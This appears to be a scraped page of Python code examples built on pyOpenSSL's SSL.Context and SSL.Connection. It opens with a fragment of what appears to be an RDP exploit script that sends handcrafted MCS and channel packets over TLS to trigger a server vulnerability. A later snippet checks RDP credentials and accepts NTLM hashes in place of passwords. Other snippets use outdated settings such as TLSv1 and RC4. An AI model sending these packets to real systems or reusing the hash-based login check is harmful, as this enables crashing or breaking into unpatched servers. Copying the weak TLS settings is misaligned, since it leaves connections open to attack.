    barr.extend(map(ord, buf))
    barr[2] = size0[0]
    barr[3] = size0[1]
    barr[10] = size1[0]
    barr[11] = size1[1]
    barr[107] = size2[0]
    barr[108] = size2[1]
    barr[116] = 0x81
    barr[117] = size3[1]
    barr[130] = 0x81
    barr[131] = size4[1]
    barr[392] = size5[1]

    tls.sendall(bytes(barr))
    pkt = tls.recv(8192)
    print("[+] Init Packet Sent")
    channel_packets(tls)
    print("[+] Channel Packets Sent")

    buf3 = (
        "\x03\x00"  # Header
        "\x01\x61"  # Size	
        "\x02\xf0\x80"  # x224
        "\x64"  # SendDataRequest
        "\x00\x07"  # Initiator
        "\x03\xeb"  # ChannelID
        "\x70"  # DataPriority
        "\x81\x52"  # mcsSDrq
        "\x40\x00"  # Flags
        "\xa1\xa5"  # Flagshigh
        "\x09\x04\x09\x04"  # CodePage
        "\xbb\x47\x03\x00"  # Flags
        "\x00\x00"  # cbDomain
        "\x0e\x00"  # cbUsername
        "\x08\x00"  # cbPassword
        "\x00\x00"  # cbAlternateShell
        "\x00\x00"  # cbWorkingDir
        "\x00\x00"  # Skip Domain
        "\x67\x00\x72"  # Username
        "\x00\x31\x00\x7a"
        "\x00\x7a\x00\x31"
        "\x00\x79\x00"
        "\x00\x00"  # Seperator	
        "\x74\x00\x65\x00"  # Password
        "\x73\x00\x74\x00"
        "\x00\x00\x00\x00\x00\x00"  # Skip AlternateShell and WorkingDir
        # TS_EXTENDED_INFO_PACKET
        "\x02\x00"  # clientAddressFamily
        "\x1c\x00"  # cbClientAddress
        "\x31\x00\x39"  # clientAddress
        "\x00\x32\x00\x2e"
        "\x00\x31\x00\x36"
        "\x00\x38\x00\x2e"
        "\x00\x32\x00\x33"
        "\x00\x32\x00\x2e"
        "\x00\x31"
        "\x00\x00"  # Seperator	
        "\x00\x40"  # cbClientDir
        "\x00\x43\x00\x3a"  # clientDir
        "\x00\x5c\x00\x57"
        "\x00\x49\x00\x4e"
        "\x00\x44\x00\x4f"
        "\x00\x57\x00\x53"
        "\x00\x5c\x00\x73"
        "\x00\x79\x00\x73"
        "\x00\x74\x00\x65"
        "\x00\x6d\x00\x33"
        "\x00\x32\x00\x5c"
        "\x00\x6d\x00\x73"
        "\x00\x74\x00\x73"
        "\x00\x63\x00\x61"
        "\x00\x78\x00\x2e"
        "\x00\x64\x00\x6c"
        "\x00\x6c\x00"
        "\x00"  #Seperator
        "\x00\xa4\x01"
        "\x00\x00\x4d\x00\x6f\x00\x75"  #TimeZone
        "\x00\x6e\x00\x74\x00\x61\x00"
        "\x69\x00\x6e\x00\x20\x00\x53"
        "\x00\x74\x00\x61\x00\x6e\x00"
        "\x64\x00\x61\x00\x72\x00\x64"
        "\x00\x20\x00\x54\x00\x69\x00"
        "\x6d\x00\x65\x00"
        "\x00\x00\x00\x00\x00\x00\x00"  #Skipped params
        "\x00\x00\x00\x00\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00"
        "\x00\x0b\x00\x00\x00\x01\x00"
        "\x02\x00\x00\x00\x00\x00\x00"
        "\x00\x00\x00\x00\x00"
        "\x4d\x00\x6f\x00\x75\x00\x6e"  #Timezone
        "\x00\x74\x00\x61\x00\x69\x00"
        "\x6e\x00\x20\x00\x44\x00\x61"
        "\x00\x79\x00\x6c\x00\x69\x00"
        "\x67\x00\x68\x00\x74\x00\x20"
        "\x00\x54\x00\x69\x00\x6d\x00"
        "\x65\x00\x00\x00"
        "\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00"
        "\x00\x00\x00\x03\x00\x00\x00"
        "\x02\x00\x02\x00\x00\x00\x00"
        "\x00\x00\x00\xc4\xff\xff\xff"
        "\x01\x00\x00\x00\x06\x00\x00"
        "\x00\x00\x00\x64\x00\x00\x00")

    barr = bytearray()
    barr.extend(map(ord, buf3))
    tls.sendall(bytes(barr))
    pkt = tls.recv(8192)
    pkt = tls.recv(8192)
    pkt = tls.recv(8192)

    print("[+] ClientInfo Packet Sent")

    buf4 = ("\x03\x00\x02\x63\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x82\x54\x54"
            "\x02\x13\x00\xf0\x03\xea\x03\x01\x00\xea\x03\x06\x00\x3e\x02\x4d"
            "\x53\x54\x53\x43\x00\x17\x00\x00\x00\x01\x00\x18\x00\x01\x00\x03"
            "\x00\x00\x02\x00\x00\x00\x00\x1d\x04\x00\x00\x00\x00\x00\x00\x00"
            "\x00\x02\x00\x1c\x00\x20\x00\x01\x00\x01\x00\x01\x00\x80\x07\x38"
            "\x04\x00\x00\x01\x00\x01\x00\x00\x1a\x01\x00\x00\x00\x03\x00\x58"
            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
            "\x00\x00\x00\x00\x00\x01\x00\x14\x00\x00\x00\x01\x00\x00\x00\xaa"
            "\x00\x01\x01\x01\x01\x01\x00\x00\x01\x01\x01\x00\x01\x00\x00\x00"
            "\x01\x01\x01\x01\x01\x01\x01\x01\x00\x01\x01\x01\x00\x00\x00\x00"
            "\x00\xa1\x06\x06\x00\x00\x00\x00\x00\x00\x84\x03\x00\x00\x00\x00"
            "\x00\xe4\x04\x00\x00\x13\x00\x28\x00\x03\x00\x00\x03\x78\x00\x00"
            "\x00\x78\x00\x00\x00\xfc\x09\x00\x80\x00\x00\x00\x00\x00\x00\x00"
            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x08"
            "\x00\x06\x00\x00\x00\x07\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00"
            "\x00\x05\x00\x0c\x00\x00\x00\x00\x00\x02\x00\x02\x00\x08\x00\x0a"
            "\x00\x01\x00\x14\x00\x15\x00\x09\x00\x08\x00\x00\x00\x00\x00\x0d"
            "\x00\x58\x00\x91\x00\x20\x00\x09\x04\x00\x00\x04\x00\x00\x00\x00"
            "\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
            "\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x08\x00\x01\x00\x00\x00\x0e"
            "\x00\x08\x00\x01\x00\x00\x00\x10\x00\x34\x00\xfe\x00\x04\x00\xfe"
            "\x00\x04\x00\xfe\x00\x08\x00\xfe\x00\x08\x00\xfe\x00\x10\x00\xfe"
            "\x00\x20\x00\xfe\x00\x40\x00\xfe\x00\x80\x00\xfe\x00\x00\x01\x40"
            "\x00\x00\x08\x00\x01\x00\x01\x03\x00\x00\x00\x0f\x00\x08\x00\x01"
            "\x00\x00\x00\x11\x00\x0c\x00\x01\x00\x00\x00\x00\x28\x64\x00\x14"
            "\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\x00\x15\x00\x0c\x00\x02"
            "\x00\x00\x00\x00\x0a\x00\x01\x1a\x00\x08\x00\xaf\x94\x00\x00\x1c"
            "\x00\x0c\x00\x12\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x06\x00\x01"
            "\x00\x1e\x00\x08\x00\x01\x00\x00\x00\x18\x00\x0b\x00\x02\x00\x00"
            "\x00\x03\x0c\x00\x1d\x00\x5f\x00\x02\xb9\x1b\x8d\xca\x0f\x00\x4f"
            "\x15\x58\x9f\xae\x2d\x1a\x87\xe2\xd6\x01\x03\x00\x01\x01\x03\xd4"
            "\xcc\x44\x27\x8a\x9d\x74\x4e\x80\x3c\x0e\xcb\xee\xa1\x9c\x54\x05"
            "\x31\x00\x31\x00\x00\x00\x01\x00\x00\x00\x25\x00\x00\x00\xc0\xcb"
            "\x08\x00\x00\x00\x01\x00\xc1\xcb\x1d\x00\x00\x00\x01\xc0\xcf\x02"
            "\x00\x08\x00\x00\x01\x40\x00\x02\x01\x01\x01\x00\x01\x40\x00\x02"
            "\x01\x01\x04")
    barr = bytearray()
    barr.extend(map(ord, buf4))
    tls.sendall(bytes(barr))
    pkt = tls.recv(8192)

    buf5 = ("\x03\x00\x00\x24\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x16\x16\x00"
            "\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x08\x00\x1f\x00\x00\x00"
            "\x01\x00\xea\x03")
    barr = bytearray()
    barr.extend(map(ord, buf5))
    tls.sendall(bytes(barr))
    pkt = tls.recv(8192)

    buf6 = ("\x03\x00\x00\x28\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x1a\x1a\x00"
            "\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x0c\x00\x14\x00\x00\x00"
            "\x01\x00\x00\x00\x00\x00\x00\x00")

    barr = bytearray()
    barr.extend(map(ord, buf6))
    tls.sendall(bytes(barr))

    print("[+] Session established, sending channel packet")
    time.sleep(2)
    pkt = tls.recv(8192)
    buf7 = ("\x03\x00\x00\x22\x02\xf0\x80\x64\x00\x07\x03\xef\x70\x14\x0c\x00"
            "\x00\x00\x03\x00\x00\x00\x72\x41\x41\x41\x41\x41\x41\x41\x41\x41"
            "\x41\x41")
    barr = bytearray()
    barr.extend(map(ord, buf7))
    tls.sendall(bytes(barr))
    print("[+] Sent")
    pkt = tls.recv(8192)
Exemplo n.º 21
0
 def __init__(self, apns_certificate_file, apns_private_key_file):
     self.context = SSL.Context(SSL.TLSv1_METHOD)
     self.context.use_certificate_file(apns_certificate_file)
     self.context.use_privatekey_file(apns_private_key_file)
Exemplo n.º 22
0
 def clientConnectionForTLS(self, tlsProtocol):
     context = self._ctx
     connection = SSL.Connection(context, None)
     connection.set_app_data(tlsProtocol)
     return connection
Exemplo n.º 23
0
 def createInternetSocket(self):
     """(internal) create an SSL socket
     """
     sock = tcp.Port.createInternetSocket(self)
     return SSL.Connection(self.ctxFactory.getContext(), sock)
Exemplo n.º 24
0
 def __init__(self, config):
     self._context = SSL.Context(SSL.SSLv23_METHOD)
     self.configure_context(self._context, config)
Exemplo n.º 25
0
 def cacheContext(self):
     ctx = SSL.Context(self.sslmethod)
     ctx.use_certificate_chain_file(self.certificateChainFileName)
     ctx.use_privatekey_file(self.privateKeyFileName)
     self._context = ctx
Exemplo n.º 26
0
 def _test_openssl(self):
     '''
     Run a test with openssl to detect any MITM proxies
     '''
     from urlparse import urlparse
     from OpenSSL import SSL, crypto
     import socket
     success = True
     hostname = urlparse(self.base_url).netloc.split(':')
     sock = socket.socket()
     sock.setblocking(1)
     if self.proxies:
         connect_str = 'CONNECT {0} HTTP/1.0\r\n'.format(hostname[0])
         if self.proxy_auth:
             connect_str += 'Proxy-Authorization: {0}\r\n'.format(
                 self.proxy_auth)
         connect_str += '\r\n'
         proxy = urlparse(self.proxies['https']).netloc.split(':')
         try:
             sock.connect((proxy[0], int(proxy[1])))
         except Exception as e:
             logger.debug(e)
             logger.error(
                 'Failed to connect to proxy %s. Connection refused.',
                 self.proxies['https'])
             sys.exit(1)
         sock.send(connect_str)
         res = sock.recv(4096)
         if '200 Connection established' not in res:
             logger.error('Failed to connect to %s. Invalid hostname.',
                          self.base_url)
             sys.exit(1)
     else:
         try:
             sock.connect((hostname[0], 443))
         except socket.gaierror:
             logger.error(
                 'Error: Failed to connect to %s. Invalid hostname.',
                 self.base_url)
             sys.exit(1)
     ctx = SSL.Context(SSL.TLSv1_METHOD)
     if type(self.cert_verify) is not bool:
         if os.path.isfile(self.cert_verify):
             ctx.load_verify_locations(self.cert_verify, None)
         else:
             logger.error('Error: Invalid cert path: %s', self.cert_verify)
             sys.exit(1)
     ctx.set_verify(SSL.VERIFY_PEER, self._verify_check)
     ssl_conn = SSL.Connection(ctx, sock)
     ssl_conn.set_connect_state()
     try:
         # output from verify generated here
         ssl_conn.do_handshake()
         # print cert chain
         certs = self.cert_chain[1]
         # put them in the right order
         certs.reverse()
         logger.info('---\nCertificate chain')
         for depth, c in enumerate(certs):
             logger.info(
                 self._generate_cert_str(c.get_subject(),
                                         str(depth) + ' s :/'))
             logger.info(self._generate_cert_str(c.get_issuer(), '  i :/'))
         # print server cert
         server_cert = ssl_conn.get_peer_certificate()
         logger.info('---\nServer certificate')
         logger.info(
             crypto.dump_certificate(crypto.FILETYPE_PEM, server_cert))
         logger.info(
             self._generate_cert_str(server_cert.get_subject(),
                                     'subject=/'))
         logger.info(
             self._generate_cert_str(server_cert.get_issuer(), 'issuer=/'))
         logger.info('---')
     except SSL.Error as e:
         logger.debug('SSL error: %s', e)
         success = False
         logger.error('Certificate chain test failed!')
     ssl_conn.shutdown()
     ssl_conn.close()
     if self.cert_chain[0]:
         logger.error('Certificate chain test failed!  Self '
                      'signed certificate detected in chain')
     return success and not self.cert_chain[0]
Exemplo n.º 27
0
 def make_socket(self):
     return SSL.Connection(self.ssl_ctx,
                           ServerCommunicator.make_socket(self))
Exemplo n.º 28
0
    def check_rdp(host, username, password, domain, hashes=None):

        if hashes is not None:
            lmhash, nthash = hashes.split(':')
            lmhash = a2b_hex(lmhash)
            nthash = a2b_hex(nthash)

        else:
            lmhash = ''
            nthash = ''

        tpkt = TPKT()
        tpdu = TPDU()
        rdp_neg = RDP_NEG_REQ()
        rdp_neg['Type'] = TYPE_RDP_NEG_REQ
        rdp_neg['requestedProtocols'] = PROTOCOL_HYBRID | PROTOCOL_SSL
        tpdu['VariablePart'] = str(rdp_neg)
        tpdu['Code'] = TDPU_CONNECTION_REQUEST
        tpkt['TPDU'] = str(tpdu)

        s = socket.socket()
        s.connect((host, 3389))
        s.sendall(str(tpkt))
        pkt = s.recv(8192)
        tpkt.fromString(pkt)
        tpdu.fromString(tpkt['TPDU'])
        cr_tpdu = CR_TPDU(tpdu['VariablePart'])
        if cr_tpdu['Type'] == TYPE_RDP_NEG_FAILURE:
            rdp_failure = RDP_NEG_FAILURE(tpdu['VariablePart'])
            rdp_failure.dump()
            logging.error(
                "Server doesn't support PROTOCOL_HYBRID, hence we can't use CredSSP to check credentials"
            )
            return
        else:
            rdp_neg.fromString(tpdu['VariablePart'])

        # Since we were accepted to talk PROTOCOL_HYBRID, below is its implementation

        # 1. The CredSSP client and CredSSP server first complete the TLS handshake,
        # as specified in [RFC2246]. After the handshake is complete, all subsequent
        # CredSSP Protocol messages are encrypted by the TLS channel.
        # The CredSSP Protocol does not extend the TLS wire protocol. As part of the TLS
        # handshake, the CredSSP server does not request the client's X.509 certificate
        # (thus far, the client is anonymous). Also, the CredSSP Protocol does not require
        # the client to have a commonly trusted certification authority root with the
        # CredSSP server. Thus, the CredSSP server MAY use, for example,
        # a self-signed X.509 certificate.

        # Switching to TLS now
        ctx = SSL.Context(SSL.TLSv1_METHOD)
        ctx.set_cipher_list('RC4')
        tls = SSL.Connection(ctx, s)
        tls.set_connect_state()
        tls.do_handshake()

        # If you want to use Python internal ssl, uncomment this and comment
        # the previous lines
        #tls = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_TLSv1, ciphers='RC4')

        # 2. Over the encrypted TLS channel, the SPNEGO handshake between the client
        # and server completes mutual authentication and establishes an encryption key
        # that is used by the SPNEGO confidentiality services, as specified in [RFC4178].
        # All SPNEGO tokens as well as the underlying encryption algorithms are opaque to
        # the calling application (the CredSSP client and CredSSP server).
        # The wire protocol for SPNEGO is specified in [MS-SPNG].
        # The SPNEGO tokens exchanged between the client and the server are encapsulated
        # in the negoTokens field of the TSRequest structure. Both the client and the
        # server use this structure as many times as necessary to complete the SPNEGO
        # exchange.<9>
        #
        # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted
        # from the TSRequest structure by the client and server; the OPTIONAL pubKeyAuth
        # field is omitted by the client unless the client is sending the last SPNEGO token.
        # If the client is sending the last SPNEGO token, the TSRequest structure MUST have
        # both the negoToken and the pubKeyAuth fields filled in.

        # NTLMSSP stuff
        auth = ntlm.getNTLMSSPType1('', '', True, use_ntlmv2=True)

        ts_request = TSRequest()
        ts_request['NegoData'] = str(auth)

        tls.send(ts_request.getData())
        buff = tls.recv(4096)
        ts_request.fromString(buff)

        # 3. The client encrypts the public key it received from the server (contained
        # in the X.509 certificate) in the TLS handshake from step 1, by using the
        # confidentiality support of SPNEGO. The public key that is encrypted is the
        # ASN.1-encoded SubjectPublicKey sub-field of SubjectPublicKeyInfo from the X.509
        # certificate, as specified in [RFC3280] section 4.1. The encrypted key is
        # encapsulated in the pubKeyAuth field of the TSRequest structure and is sent over
        # the TLS channel to the server.
        #
        # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted
        # from the TSRequest structure; the client MUST send its last SPNEGO token to the
        # server in the negoTokens field (see step 2) along with the encrypted public key
        # in the pubKeyAuth field.

        # Last SPNEGO token calculation
        ntlmChallenge = ntlm.NTLMAuthChallenge(ts_request['NegoData'])
        type3, exportedSessionKey = ntlm.getNTLMSSPType3(
            auth,
            ts_request['NegoData'],
            username,
            password,
            domain,
            lmhash,
            nthash,
            use_ntlmv2=True)

        # Get server public key
        server_cert = tls.get_peer_certificate()
        pkey = server_cert.get_pubkey()
        dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey)

        # Fix up due to PyOpenSSL lack for exporting public keys
        dump = dump[7:]
        dump = '\x30' + asn1encode(dump)

        cipher = SPNEGOCipher(type3['flags'], exportedSessionKey)
        signature, cripted_key = cipher.encrypt(dump)
        ts_request['NegoData'] = str(type3)
        ts_request['pubKeyAuth'] = str(signature) + cripted_key

        try:
            # Sending the Type 3 NTLM blob
            tls.send(ts_request.getData())
            # The other end is waiting for the pubKeyAuth field, but looks like it's
            # not needed to check whether authentication worked.
            # If auth is unsuccessful, it throws an exception with the previous send().
            # If auth is successful, the server waits for the pubKeyAuth and doesn't answer
            # anything. So, I'm sending garbage so the server returns an error.
            # Luckily, it's a different error so we can determine whether or not auth worked ;)
            buff = tls.recv(1024)
        except Exception, err:
            if str(err).find("denied") > 0:
                print "[*] Access Denied"
            else:
                logging.error(err)
            return
Exemplo n.º 29
0
    try:
        for k in keys:
            if any(sub in k for sub in [
                    "baelife_metrics", "_events", "_places", "feed",
                    "newmovies", "topmovies", "neal", "recipies"
            ]):
                pass
            else:
                print k
                try:
                    feed = json.loads(redisdb.get(k))
                except ValueError as e:
                    feed = redisdb.get(k)
                print feed
                data[k] = feed

        #print data
        return jsonify(data), 200
    except KeyError as e:
        return make_response("REDIS Error", 404)


if __name__ == "__main__":
    if os.environ['DEBUG'] is True:
        from OpenSSL import SSL
        context = SSL.Context(SSL.SSLv23_METHOD)
        context.use_privatekey_file('key.pem')
        context.use_certificate_file('cert.pem')
        app.run(ssl_context=context)
    else:
        app.run()
Exemplo n.º 30
0
 def __init__(self, context, sock):
     self._sock = sock
     self._connection = SSL.Connection(context, sock)